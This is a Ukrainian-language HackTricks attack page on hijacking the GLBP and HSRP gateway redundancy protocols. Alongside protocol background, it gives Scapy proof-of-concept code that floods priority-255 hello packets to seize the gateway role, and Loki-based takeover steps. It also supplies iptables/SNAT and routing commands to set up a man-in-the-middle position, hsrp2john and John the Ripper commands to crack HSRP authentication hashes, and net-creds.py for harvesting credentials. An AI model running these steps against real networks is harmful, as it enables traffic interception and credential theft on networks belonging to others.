GLBP & HSRP Атаки

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд захоплення FHRP

Особливості FHRP

FHRP призначений для підвищення надійності мережі шляхом об’єднання кількох маршрутизаторів в єдиний віртуальний вузол, що покращує розподіл навантаження та відмовостійкість. Cisco Systems запровадила в цьому наборі протоколів такі відомі рішення, як GLBP та HSRP.

Особливості протоколу GLBP

GLBP від Cisco працює в стеку TCP/IP і використовує UDP на порті 3222 для обміну повідомленнями. Маршрутизатори в групі GLBP обмінюються пакетами “hello” з інтервалом 3 секунди. Якщо маршрутизатор не надсилає ці пакети протягом 10 секунд, вважається, що він недоступний. Тимчасові інтервали не є фіксованими і можуть бути змінені.

GLBP для IPv6 використовує multicast FF02::66 через UDP/3222, а формат віртуальної MAC-адреси стає 0007.b4xx.xxyy (AVF ID знаходиться в останньому байті). Таймінги та поверхня атаки залишаються такими ж, як і в IPv4, тому методи захоплення працюють і в dual‑stack мережах.

Робота GLBP та розподіл навантаження

GLBP вирізняється тим, що дозволяє розподіляти навантаження між маршрутизаторами, використовуючи одну віртуальну IP-адресу разом із кількома віртуальними MAC-адресами. У групі GLBP кожен маршрутизатор бере участь у пересиланні пакетів. На відміну від HSRP/VRRP, GLBP пропонує реальне балансування навантаження через кілька механізмів:

  • Host-Dependent Load Balancing: забезпечує постійне призначення AVF MAC-адреси для хоста, що важливо для стабільних конфігурацій NAT.
  • Round-Robin Load Balancing: підхід за замовчуванням, чергує призначення AVF MAC-адрес серед запитуючих хостів.
  • Weighted Round-Robin Load Balancing: розподіляє навантаження на основі попередньо визначених метрик “Weight”.

Ключові компоненти та термінологія в GLBP

  • AVG (Active Virtual Gateway): основний маршрутизатор, відповідальний за виділення MAC-адрес іншим маршрутизаторам.
  • AVF (Active Virtual Forwarder): маршрутизатор, призначений для обробки мережевого трафіку.
  • GLBP Priority: метрика, що визначає AVG, початкова за замовчуванням — 100, діапазон від 1 до 255.
  • GLBP Weight: відображає поточне навантаження на маршрутизатор, може налаштовуватися вручну або через Object Tracking.
  • GLBP Virtual IP Address: служить в якості шлюзу за замовчуванням для всіх підключених пристроїв.

Для взаємодії GLBP використовує зарезервовану multicast-адресу 224.0.0.102 та UDP порт 3222. Маршрутизатори передають пакети “hello” кожні 3 секунди і вважаються недієздатними, якщо пропущено пакет протягом 10 секунд.

Механізм атаки на GLBP

Зловмисник може стати первинним маршрутизатором, відправивши GLBP-пакет з найвищим значенням пріоритету (255). Це може призвести до DoS або MITM атак, дозволяючи перехоплювати або перенаправляти трафік.

Практичне захоплення GLBP за допомогою Scapy (короткий PoC)

from scapy.all import *

vip = "10.10.100.254"          # learned from sniffing
pkt = IP(dst="224.0.0.102")/UDP(dport=3222,sport=3222)/Raw(
b"\x01\x00\xff\x64"      # Version=1, Opcode=Hello, Priority=255, Weight=100
)
send(pkt, iface="eth0", loop=1, inter=1)

Сформуйте байти payload, щоб імітувати заголовок GLBP (version/opcode/priority/weight/VRID). Зациклення кадру гарантує перемогу в виборах AVG, якщо автентифікація відсутня.

Виконання GLBP-атаки з Loki

Loki може виконувати GLBP-атаку, інжектуючи пакет з priority і weight, встановленими на 255. Підготовчі кроки перед атакою включають збір інформації, такої як віртуальна IP-адреса, наявність автентифікації та значення priority маршрутизаторів, за допомогою інструментів на кшталт Wireshark.

Кроки атаки:

  1. Переключіться в promiscuous mode та ввімкніть IP forwarding.
  2. Визначте цільовий router і отримайте його IP.
  3. Згенеруйте Gratuitous ARP.
  4. Інжектуйте шкідливий GLBP-пакет, видаючи себе за AVG.
  5. Призначте вторинну IP-адресу на інтерфейс мережі атакуючого, дублюючи GLBP virtual IP.
  6. Реалізуйте SNAT для повної видимості трафіку.
  7. Налаштуйте маршрутизацію, щоб забезпечити подальший доступ в інтернет через оригінальний AVG router.

Дотримуючись цих кроків, атакуючий стає “man in the middle”, здатним перехоплювати та аналізувати мережевий трафік, включно з незашифрованими або чутливими даними.

Для демонстрації, ось необхідні фрагменти команд:

# Enable promiscuous mode and IP forwarding
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1

# Configure secondary IP and SNAT
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Adjust routing
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100

Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.

Пасивне пояснення HSRP Hijacking з деталями команд

Огляд HSRP (Hot Standby Router/Redundancy Protocol)

HSRP — це пропрієтарний протокол Cisco, призначений для резервування мережевого шлюзу. Він дозволяє об’єднати кілька фізичних маршрутизаторів в єдиний логічний блок з спільною IP-адресою. Цим логічним блоком керує основний маршрутизатор, відповідальний за перенаправлення трафіку. На відміну від GLBP, який використовує метрики на кшталт priority і weight для балансування навантаження, HSRP покладається на один активний маршрутизатор для керування трафіком.

HSRPv1 використовує multicast 224.0.0.2 та віртуальну MAC-адресу 0000.0c07.acXX; HSRPv2 та HSRPv2 для IPv6 використовують 224.0.0.102 / FF02::66 та віртуальну MAC 0000.0c9f.fXXX. Порт призначення UDP — 1985 для IPv4 і 2029 для IPv6.

Ролі та термінологія в HSRP

  • HSRP Active Router: Пристрій, що виконує роль шлюзу і керує потоком трафіку.
  • HSRP Standby Router: Резервний маршрутизатор, готовий взяти на себе роль активного у разі відмови.
  • HSRP Group: Набір маршрутизаторів, які співпрацюють, формуючи єдиний стійкий віртуальний маршрутизатор.
  • HSRP MAC Address: Віртуальна MAC-адреса, призначена логічному маршрутизатору в конфігурації HSRP.
  • HSRP Virtual IP Address: Віртуальна IP-адреса HSRP-групи, що виступає як шлюз за замовчуванням для підключених пристроїв.

Версії HSRP

HSRP існує в двох версіях — HSRPv1 і HSRPv2, які відрізняються головним чином пропускною здатністю групи, використанням multicast IP та структурою віртуальної MAC-адреси. Протокол використовує специфічні multicast IP-адреси для обміну службовою інформацією, при цьому Hello-пакети надсилаються кожні 3 секунди. Маршрутизатор вважається неактивним, якщо протягом 10-секундного інтервалу не отримано жодного пакета.

Механізм атаки HSRP

Атаки на HSRP полягають у примусовому захопленні ролі Active Router шляхом інжекції максимального значення пріоритету. Це може призвести до Man-In-The-Middle (MITM) атаки. Обов’язковими підготовчими кроками перед атакою є збір інформації про HSRP-конфігурацію, що можна зробити за допомогою Wireshark для аналізу трафіку.

Quick HSRP takeover with Scapy

from scapy.all import *

vip = "10.10.100.1"
pkt = IP(dst="224.0.0.102")/UDP(sport=1985,dport=1985)/Raw(
b"\x00\x02\xff\x03\x00\x00\x00\x01"  # Hello, priority 255, group 1
)
send(pkt, iface="eth0", inter=1, loop=1)

Якщо автентифікація не налаштована, безперервне відправлення hellos з вищим пріоритетом примушує сусідні вузли переходити в стани Speak/Listen і дозволяє вам стати Active, перенаправляючи трафік через ваш хост.

Особливі випадки автентифікації HSRP

  • Застаріла автентифікація у відкритому тексті легко піддається підробці.
  • Автентифікація MD5 захищає лише HSRP-пейлоад; сконструйовані пакети все ще можуть обмежувати частоту/завдавати DoS control planes. Раніше випуски NX-OS дозволяли DoS проти аутентифікованих груп (див. Cisco advisory CSCup11309).
  • На багатьох спільних VLAN у ISP / VPS HSRPv1-мультікасти видимі для орендарів; без автентифікації ви можете приєднатися і перехопити трафік.

Кроки для обходу автентифікації HSRP

  1. Збережіть мережевий трафік, що містить дані HSRP, у файл .pcap.
tcpdump -w hsrp_traffic.pcap
  1. Витягніть MD5-хеші з .pcap файлу за допомогою hsrp2john.py.
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
  1. Зламайте MD5-хеші за допомогою John the Ripper.
john --wordlist=mywordlist.txt hsrp_hashes

Виконання HSRP Injection за допомогою Loki

  1. Запустіть Loki для виявлення HSRP-оголошень.
  2. Встановіть мережевий інтерфейс у promiscuous режим і увімкніть IP forwarding.
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
  1. Використайте Loki для націлювання на конкретний маршрутизатор, введіть зламаний HSRP-пароль і виконайте необхідні налаштування, щоб імітувати Active Router.
  2. Після отримання ролі Active Router налаштуйте свій мережевий інтерфейс і IP tables для перехоплення легітимного трафіку.
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  1. Змініть таблицю маршрутизації, щоб спрямовувати трафік через колишній Active Router.
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
  1. Використайте net-creds.py або подібну утиліту для захоплення облікових даних із перехопленого трафіку.
sudo python2 net-creds.py -i eth0

Виконання цих кроків ставить атакувальника в позицію перехоплювати та маніпулювати трафіком, подібно до процедури захоплення GLBP. Це підкреслює вразливість протоколів резервування, таких як HSRP, та необхідність надійних заходів безпеки.

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks